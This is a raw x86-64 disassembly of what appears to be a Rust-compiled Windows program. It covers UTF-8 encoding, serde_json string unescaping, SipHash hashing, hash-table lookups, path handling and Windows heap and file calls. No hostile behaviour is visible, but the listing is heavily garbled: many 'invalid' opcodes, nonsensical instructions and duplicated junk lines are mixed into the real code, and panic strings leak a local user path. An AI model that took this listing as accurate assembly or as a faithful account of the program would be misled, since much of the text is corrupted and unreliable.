mov byte [rdi + 0x20], 0
cmp al, 0x5c
je 0x140016f4f
jmp 0x14001719c
cmp eax, 0x800
jae 0x140017035
mov eax, r12d
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x30], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0x31], r12b
mov r12d, 2
jmp 0x14001705f
mov rcx, r14
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x30]
test eax, eax
jne 0x140017162
movzx eax, byte [rsp + 0x31]
mov byte [rdi + 0x21], al
mov byte [rdi + 0x20], 0
cmp al, 0x5c
jne 0x14001719c
mov rcx, r14
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x30]
test eax, eax
jne 0x1400171a7
movzx eax, byte [rsp + 0x31]
mov byte [rdi + 0x21], al
mov byte [rdi + 0x20], 0
and byte [rax], al
and byte [rax], al
cmp al, 0x75
jne 0x14001719c
mov rcx, r14
mov rdx, rdi
call fcn.1400169c0
cmp word [rsp + 0x30], 0
jne 0x140017158
movzx eax, word [rsp + 0x32]
lea ecx, [rax + 0x2000]
movzx ecx, cx
cmp ecx, 0xfc00
jb 0x1400171d1
add r12d, 0x2800
movzx ecx, r12w
shl ecx, 0xa
lea edx, [rax + 0x2400]
movzx edx, dx
or edx, ecx
lea ecx, [rdx + 0x10000]
cmp ecx, 0x110000
je 0x1400171eb
mov r8d, ecx
xor r8d, 0xd800
add r8d, 0xffef0000
cmp r8d, 0xffef07ff
jbe 0x1400171eb
mov r8d, ecx
shr r8d, 0x12
shr edx, 6
shl eax, 8
movzx edx, dl
or edx, eax
shr ecx, 4
and ecx, 0x7fff00
movzx eax, r8b
or eax, ecx
movd xmm0, eax
pinsrw xmm0, edx, 1
pand xmm0, xmm6
por xmm0, xmm7
movd dword [rsp + 0x30], xmm0
mov r12d, 4
jmp 0x14001705f
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov byte [rsp + 0x30], cl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x31], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0x32], r12b
mov r12d, 3
mov rax, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
sub rax, r13
cmp rax, r12
jb 0x14001709f
mov rcx, qword [rbx]
add rcx, r13
mov rdx, r14
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r13, r12
mov qword [rbx + 0x10], r13
movzx r12d, byte [rdi + 0x21]
cmp byte [rdi + 0x20], 0
mov byte [rdi + 0x20], 0
jne 0x140016cf8
jmp 0x140016bb0
mov rcx, rbx
mov rdx, r13
mov r8, r12
call fcn.1400ab0a0
mov r13, qword [rbx + 0x10]
jmp 0x14001706f
mov rcx, r12
call fcn.1400adc10
mov rsi, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov eax, 2
mov qword [rsi], rax
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x70]
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp eax, 0x22
jne 0x14001712f
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rbx, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
adc byte [rax - 0x73], cl
and al, 0x48
adc byte [rax - 0x73], cl
and al, 0x48
call fcn.140043490
cmp qword [rsp + 0x48], 0
jne 0x14001713a
movups xmm0, xmmword [rsp + 0x50]
mov rsi, qword [rsp + 0x28]
movups xmmword [rsi + 8], xmm0
mov eax, 1
jmp 0x1400170cc
mov rax, qword [rsp + 0x50]
jmp 0x1400170be
mov qword [rsp + 0x30], 0x10
jmp 0x140017170
mov qword [rsp + 0x30], 0xf
add byte [rax], al
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, rdi
call fcn.1400adb90
jmp 0x1400170be
mov rax, qword [rsp + 0x38]
jmp 0x1400170be
cmp eax, 2
jne 0x140017187
mov qword [rsp + 0x30], 4
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1400adb90
jmp 0x1400170be
mov rcx, qword [rsp + 0x38]
jmp 0x1400170b9
invalid
dec dword [rax - 0x39]
and al, 0x30
or al, 0
add byte [rax], al
mov qword [rsp + 0x30], 0xc
jmp 0x140017170
mov qword [rsp + 0x30], 0x17
jmp 0x140017170
add bl, ch
leave
cmp eax, 2
mov rsi, qword [rsp + 0x28]
jne 0x1400171dc
mov qword [rsp + 0x30], 4
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1400adb90
jmp 0x1400170c3
mov qword [rsp + 0x30], 0x14
jmp 0x140017170
mov rcx, qword [rsp + 0x38]
call fcn.1400adc10
jmp 0x1400170c3
mov qword [rsp + 0x30], 0xf
jmp 0x140017170
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_read.rs
mov edx, 0x2b
call fcn.1400aa0a0
ud2
mov byte [rsp + 0x2f], 0xff
lea rdx, [rsp + 0x2f]
lea edx, [rsp + 0x2f]
lea edx, [rsp + 0x2f]
mov r8d, 1
mov rcx, r14
call fcn.1400166a0
mov rax, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
invalid
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
adc byte [rax + 0x31], cl
ror dword [rcx + 1], 1
enter 0xffffffffffffc148, 0xffffffffffffffc1
adc eax, 0x48c20148
rol eax, 0x11
adc byte [rax + 0x31], cl
ror dword [rcx + 1], 1
enter 0xffffffffffffc148, 0xffffffffffffffc1
adc eax, 0x48c20148
rol eax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
ror dword [rcx + 1], 0xc0
ror byte [rax - 0x3f], 1
ret 0x4c20
ror dword [rcx + 1], 0xc0
rol rax, 0xd
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
rol rcx, 0x15
rcl dword [0x188c1e8d1], 1
ret 0xc148
rcl byte [rcx], 0x49
mov esi, edx
rol r14, 0x20
xor r14, rax
xor r14, rcx
invalid
xor r14, rdx
mov r15, qword [rbx]
mov rbx, qword [rbx + 8]
mov rax, r14
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
pcmpeqd xmm7, xmm7
xor r12d, r12d
rcl dword [0x188c1e8d1], 1
ret 0xc148
invalid
and r14, rbx
movdqu xmm8, xmmword [r15 + r14]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm6
pmovmskb r13d, xmm0
test r13d, r13d
jne 0x14001b80f
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
jne 0x14001b884
add r14, r12
add r14, 0x10
add r12, 0x10
jmp 0x14001b7c1
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
test ax, ax
je 0x14001b7dd
tzcnt eax, r13d
add rax, r14
and rax, rbx
shl rax, 5
mov rbp, r15
sub rbp, rax
cmp qword [rbp - 0x18], rsi
jne 0x14001b800
mov rdx, qword [rbp - 0x20]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001b800
lea rcx, [rbp - 0x20]
test rbp, rbp
cmove rcx, rbp
jmp 0x14001b84c
lea rax, [rcx + 0x10]
test rcx, rcx
cmove rax, rcx
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm8, xmmword [rsp + 0xa0]
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ebp, ebp
jmp 0x14001b83d
and rsi, rbp
movdqu xmm8, xmmword [r12 + rsi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm6
pmovmskb eax, xmm0
mov qword [rsp + 0xc0], rsi
jmp 0x14001b9a5
mov r14, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x38]
test ax, ax
je 0x14001bed0
mov qword [rsp + 0x38], rax
tzcnt eax, eax
add rax, rsi
and rax, rbp
neg rax
imul rax, rax, 0x38
mov r13, qword [r12 + rax - 0x38]
mov qword [rsp + 0xd8], rax
mov rbx, qword [r12 + rax - 0x28]
lea rcx, [rsp + 0x40]
mov rdi, qword [rsp + 0x30]
mov rdx, rdi
mov r15, qword [rsp + 0x28]
mov r8, r15
call fcn.14007e4f0
movzx esi, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
movzx edx, sil
lea r8, [0x1400ef234]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
jmp r9
add rcx, 4
jmp 0x14001ba50
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x14001ba50
mov ecx, 6
jmp 0x14001ba50
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14001ba50
mov ecx, 2
nop
mov r15, qword [rsp + 0x28]
sub r15, rcx
jb 0x14001c0cf
add rcx, qword [rsp + 0x30]
mov rdi, rcx
test r15, r15
je 0x14001ba80
movzx eax, byte [rdi]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete dil
or dil, cl
jmp 0x14001ba82
xor edi, edi
lea rcx, [rsp + 0x41]
mov rax, qword [rcx + 0x1f]
mov qword [rsp + 0x17f], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x40]
mov rdx, r13
mov r8, rbx
call fcn.14007e4f0
movzx r15d, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
invalid
movzx edx, r15b
lea r8, [0x1400ef250]
lea eax, [0x1400ef250]
invalid
lea eax, [0x1400ef250]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rbx
mov r8, r13
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp 0x14001bb20
invalid
xor eax, 0x1508d48
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x14001bb20
invalid
and dword [rcx + 6], edi
mov ecx, 6
jmp 0x14001bb20
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
rol dword [rdx], 0xeb
invalid
rol dword [rdx], 0xeb
invalid
mov ecx, 2
nop
mov rdx, rbx
sub rdx, rcx
jb 0x14001c0e2
add rcx, r13
mov r8, rcx
test rdx, rdx
je 0x14001bb50
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete bpl
or bpl, cl
jmp 0x14001bb52
xor ebp, ebp
lea rcx, [rsp + 0x41]
mov rax, qword [rcx + 0x1f]
mov qword [rsp + 0x1af], rax
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x1a0], xmm1
movdqa xmmword [rsp + 0x190], xmm0
cmp qword [rsp + 0x28], rbx
jne 0x14001bbaf
cmp sil, 3
setb al
cmp r15b, 3
setb cl
xor cl, al
jne 0x14001bbaf
mov rcx, qword [rsp + 0x30]
mov rdx, r13
mov r8, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001bf40
cmp sil, 6
je 0x14001bbde
mov rax, qword [rsp + 0x17f]
mov qword [rsp + 0x5f], rax
movdqa xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x5f]
mov qword [rsp + 0x1df], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
cmp r15b, 6
mov r14, qword [rsp + 0x38]
je 0x14001bc40
mov rax, qword [rsp + 0x1af]
mov qword [rsp + 0xff], rax
movaps xmm0, xmmword [rsp + 0x190]
movaps xmm1, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
lea eax, [r14 - 1]
and eax, r14d
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xff]
lea rcx, [rsp + 0x41]
mov qword [rcx + 0x2f], rax
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movups xmmword [rcx + 0x20], xmm1
movups xmmword [rcx + 0x10], xmm0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0xe8], rax
mov byte [rsp + 0xf0], sil
mov rax, qword [rsp + 0x1df]
lea rcx, [rsp + 0xf1]
mov qword [rcx + 0x1f], rax
movdqa xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov word [rsp + 0x118], 0x200
mov byte [rsp + 0x11a], dil
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], rbx
mov byte [rsp + 0x50], r15b
mov word [rsp + 0x78], 0x200
mov byte [rsp + 0x7a], bpl
nop word cs:[rax + rax]
lea rcx, [rsp + 0x1e8]
lea rdx, [rsp + 0xe0]
call fcn.1400849e0
movzx r12d, byte [rsp + 0x1e8]
cmp r12d, 0xa
je 0x14001be80
movzx ebp, byte [rsp + 0x1e9]
mov rsi, qword [rsp + 0x1f0]
mov r15, qword [rsp + 0x1f8]
mov r13, qword [rsp + 0x200]
mov rbx, qword [rsp + 0x208]
lea rcx, [rsp + 0x128]
lea rdx, [rsp + 0x40]
call fcn.1400849e0
movzx eax, byte [rsp + 0x128]
cmp al, 0xa
je case.default.0x14001be02
lea ecx, [r12 - 6]
movzx ecx, cl
lea r8, [rcx + 1]
cmp cl, 4
mov r10d, 0
cmovae r8, r10
lea r9d, [rax - 6]
movzx ecx, r9b
lea rdx, [rcx + 1]
cmp cl, 4
cmovae rdx, r10
cmp r8, rdx
jne case.default.0x14001be02
mov rdx, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x138]
cmp r8d, 4
je case.0x14001be02.0
test r8, r8
jne 0x14001bd00
cmp r9b, 4
jb 0x14001bd00
cmp r12b, al
jne case.default.0x14001be02
invalid
dec dword [rdi]
mov dh, 0x84
and al, 0x29
add dword [rax], eax
add byte [rax - 0x75], cl
mov esp, 0x14024
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x48
add dword [rax], eax
add byte [rbp - 0x77], al
loopne 0x14001be41
invalid
movzx eax, byte [rsp + 0x129]
mov rdi, qword [rsp + 0x140]
mov r14, qword [rsp + 0x148]
mov r8d, r12d
lea r9, [0x1400ef26c]
lea ecx, [0x1400ef26c]
or eax, 0x4634f00
or dword [rbp + 1], 0xe0ff41c8
jmp r8
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
nop dword cs:[rax + rax]
cmp r15, rcx
jne case.default.0x14001be02
sti
invalid
invalid
sti
invalid
mov rcx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
add byte [rbp - 0x2b7bf040], al
invalid
invalid
invalid
add byte [rbp - 0x2b7bf040], al
invalid
jmp case.default.0x14001be02
cmp bpl, al
je 0x14001bd00
jmp case.default.0x14001be02
cmp r15, rcx
jne case.default.0x14001be02
iretd
mov rcx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne case.default.0x14001be02
cmp rbx, r14
jne case.default.0x14001be02
mov rcx, r13
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001bd00
jmp case.default.0x14001be02
lea rcx, [rsp + 0x128]
lea rdx, [rsp + 0x40]
call fcn.1400849e0
cmp byte [rsp + 0x128], 0xa
mov r14, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x38]
jne 0x14001b9a5
jmp 0x14001bf40
cmp qword [rsp + 0x80], 1
mov eax, 1
mov qword [rsp + 0x80], rax
je 0x14001bf0e
pmovmskb eax, xmm8
xor ecx, ecx
test eax, eax
setne cl
mov qword [rsp + 0x80], rcx
tzcnt eax, eax
add rax, rsi
and rax, rbp
mov qword [rsp + 0xc8], rax
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
jne 0x14001bfd0
mov rax, qword [rsp + 0xa0]
add rsi, rax
add rsi, 0x10
add rax, 0x10
mov qword [rsp + 0xa0], rax
jmp 0x14001b960
add r12, qword [rsp + 0xd8]
mov rax, qword [r12 - 8]
mov rcx, qword [rsp + 0x98]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [r12 - 0x18]
movups xmmword [rcx], xmm0
mov rcx, qword [rsp + 0x90]
mov rax, qword [rcx + 0x10]
mov qword [r12 - 8], rax
movups xmm0, xmmword [rcx]
movups xmmword [r12 - 0x18], xmm0
mov rax, qword [rsp + 0x88]
cmp qword [rax + 8], 0
je 0x14001c08c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x30]
movaps xmm6, xmmword [rsp + 0x220]
movaps xmm7, xmmword [rsp + 0x230]
movaps xmm8, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0xc8]
movzx eax, byte [r12 + rdx]
test al, al
js 0x14001bff4
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
tzcnt edx, eax
movzx eax, byte [r12 + rdx]
mov rcx, qword [rsp + 0x88]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rcx, qword [rsp + 0x90]
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x60], xmm0
mov rcx, qword [rcx + 0x10]
and al, 1
movzx eax, al
sub qword [r14 + 0x10], rax
mov qword [rsp + 0x70], rcx
lea rax, [rdx - 0x10]
and rbp, rax
mov rax, qword [rsp + 0xd0]
mov byte [r12 + rdx], al
mov byte [rbp + r12 + 0x10], al
inc qword [r14 + 0x18]
neg rdx
imul rax, rdx, 0x38
mov rcx, qword [rsp + 0x70]
mov qword [r12 + rax - 8], rcx
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movups xmmword [r12 + rax - 0x18], xmm2
movups xmmword [r12 + rax - 0x28], xmm1
movups xmmword [r12 + rax - 0x38], xmm0
mov rax, qword [rsp + 0x98]
mov qword [rax], 0
movaps xmm6, xmmword [rsp + 0x220]
movaps xmm7, xmmword [rsp + 0x230]
movaps xmm8, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_srcpath.rs
mov rdx, qword [rsp + 0x28]
call fcn.1400a9f20
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.1400a9f20
ud2
and al, 1
movzx eax, al
sub qword [rsp + 0x40], rax
lea rax, [rdx - 0x10]
and rax, rdi
mov rcx, qword [rsp + 0x70]
mov byte [rbx + rdx], cl
mov byte [rax + rbx + 0x10], cl
inc qword [rsp + 0x48]
mov rbp, rdx
neg rbp
shl rdx, 5
mov rax, rbx
sub rax, rdx
neg rdx
mov qword [rbx + rdx - 0x20], r14
mov qword [rax - 0x18], r15
nop
mov rsi, qword [rsp + 0x20]
shl rbp, 5
mov rax, qword [rsp + 0x88]
mov qword [rbx + rbp - 0x10], rax
mov rax, qword [rsp + 0x80]
mov qword [rbx + rbp - 8], rax
cmp rsi, 9
je 0x14001c5a7
mov rax, rsi
shl rax, 5
mov r14, qword [rsp + rax + 0x90]
mov r15, qword [rsp + rax + 0x98]
mov rcx, qword [rsp + rax + 0xa0]
mov qword [rsp + 0x88], rcx
mov rax, qword [rsp + rax + 0xa8]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, r14
mov r9, r15
call fcn.14000cc30
mov r12, rax
cmp qword [rsp + 0x40], 0
je 0x14001c58e
inc rsi
mov qword [rsp + 0x20], rsi
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rax, r12
shr rax, 0x39
cmp dword [rax - 0x77], ecx
and al, 0x70
cmp dword [rax - 0x77], ecx
and al, 0x70
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x28], rax
xor esi, esi
and r12, rdi
movdqu xmm8, xmmword [rbx + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb r13d, xmm0
test r13d, r13d
jne 0x14001c52f
cmp rsi, 1
mov esi, 1
je 0x14001c4f4
pmovmskb eax, xmm8
xor esi, esi
test eax, eax
setne sil
tzcnt eax, eax
add rax, r12
and rax, rdi
mov qword [rsp + 0x78], rax
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14001c568
mov rax, qword [rsp + 0x28]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x28], rax
jmp 0x14001c4b1
add byte [rax], al
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
test ax, ax
je 0x14001c4cd
tzcnt ebp, r13d
bsf ebp, r13d
add rbp, r12
and rbp, rdi
mov rcx, rbp
shl rcx, 5
mov rax, rbx
sub rax, rcx
cmp qword [rax - 0x18], r15
jne 0x14001c520
mov rdx, qword [rax - 0x20]
mov rcx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001c520
neg rbp
jmp 0x14001c3f0
mov rdx, qword [rsp + 0x78]
movzx eax, byte [rbx + rdx]
test al, al
js 0x14001c3b0
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
tzcnt edx, eax
movzx eax, byte [rbx + rdx]
jmp 0x14001c3b0
mov edx, 1
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x50]
call fcn.1400a8d40
jmp 0x14001c478
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
mov rax, qword [rsp + 0x68]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movaps xmm6, xmmword [rsp + 0x1c0]
movaps xmm7, xmmword [rsp + 0x1d0]
mov esp, 0x1d024
add byte [rdi + rcx + 0x28], al
test byte [rax + riz*8], ah
add dword [rax], eax
invalid
mov esp, 0x1d024
add byte [rdi + rcx + 0x28], al
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
sub byte [rsp + 0x1e0], al
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jg 0x14001c5d8
and al, 0x50
invalid
and al, 0x30
invalid
movq qword [rsp + 0xa08], mm0
mov dword [rsp + 0xa18], 7
mov qword [rsp + 0xa1c], 0
mov word [rsp + 0xa24], 0
mov byte [rsp + 0xa20], 1
lea r8, [rsp + 0xa00]
mov rcx, rdx
mov rdx, rax
call fcn.140082100
mov rsi, rdx
test rax, rax
je 0x14001c752
sbb byte [rdx], cl
add byte [rax], al
invalid
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14001c725
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14001e643
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14001e643
mov qword [rax], rsi
mov qword [rdi], rax
lea rax, [0x1400b0c00]
mov qword [rdi + 8], rax
jmp 0x14001cb08
lea rcx, [rsp + 0xa00]
mov rdx, rsi
call fcn.140082330
cmp dword [rsp + 0xa00], 2
mov qword [rsp + 0xc0], rbx
jne 0x14001c79d
mov rax, qword [rsp + 0xa08]
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xe0], 1
jmp 0x14001c825
mov r14, qword [rsp + 0xa38]
mov qword [rsp + 0xe0], 0
lea r8, [rsp + 0xe0]
mov rcx, rsi
xor edx, edx
mov r9d, 1
call qword [sym.imp.kernel32.dll_SetFilePointerEx]
test eax, eax
je 0x14001c7fb
xor r12d, r12d
mov r13d, 0
sub r14, qword [rsp + 0xe0]
cmovb r14, r12
ja 0x14001d176
add r14, 0x400
jae 0x14001d19c
mov r15b, 1
jmp 0x14001c833
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
lea rcx, [rsp + 0xa08]
add byte [rax - 0x77], cl
test byte [rax + rcx], ah
or al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rax], ah
or al, byte [rax]
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test byte [rax + rcx], ah
or al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rax], ah
or al, byte [rax]
add byte [rcx], al
add byte [rax], al
add al, ch
fadd dword [0x141b9092d]
invalid
call fcn.14007a090
mov r15b, 1
invalid
add dword [rbp + 0x31], eax
in al, 0x45
xor ebp, ebp
xor r12d, r12d
xor r13d, r13d
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rsi
xor esi, esi
pxor xmm6, xmm6
lea rbx, [rsp + 0xa00]
or al, byte [rax]
add byte [rax - 0x73], cl
sub eax, 0xd2a32
or al, byte [rax]
add byte [rax - 0x73], cl
sub eax, 0xd2a32
mov qword [rsp + 0xa0], r12
mov rdi, r13
jmp 0x14001c87b
cmp byte [r13 + 0xf], 0x23
jne case.0x14001c8ec.2
mov qword [rsp + 0xa00], r13
mov rcx, rbx
call fcn.14007a090
cmp rdi, r12
je 0x14001c915
mov rax, qword [rsp + 0x68]
add rax, rdi
mov rcx, r12
sub rcx, rdi
cmp rcx, r14
mov rdx, r14
cmovb rdx, rcx
test r15b, r15b
dec dword [rax + 0xf]
ror dword [r8 - 0x77], 1
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
clc
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x38
dec dword [rax + 0xf]
ror dword [r8 - 0x77], 1
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
clc
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x38
lea rdx, [rsp + 0xe0]
call case.0x140080e18.112
pop rbx
invalid
add byte [rax - 0x7b], cl
invalid
je case.default.0x14001c8ec
pop rbx
invalid
mov r13, rax
and eax, 3
movsxd rax, dword [rbp + rax*4]
add byte [rax + 1], cl
invalid
jmp rax
add byte [rax + 1], cl
call 0xc043a9ef
jmp rax
invalid
invalid
jge 0x14001c902
cmp byte [r13 + 0x10], 0x23
je 0x14001c86b
and ecx, dword [rdi]
test byte [rdx - 1], dh
invalid
jmp case.0x14001c8ec.2
mov rax, r13
shr rax, 0x20
call 0x160ea8a4f
cmp eax, 0x23
je 0x14001c86b
jmp case.0x14001c8ec.2
mov r8d, 0x20
lea rcx, [rsp + 0x68]
mov rdx, r12
call fcn.1400ab0a0
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
jmp 0x14001c884
mov r13, qword [rsp + 0xf0]
test r13, r13
je 0x14001cb74
invalid
add byte [rax - 0x75], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, qword [rsp + 0xf8]
mov rsi, rax
sub rsi, r13
jb 0x14001e66a
invalid
mov rdx, qword [rsp + 0xe8]
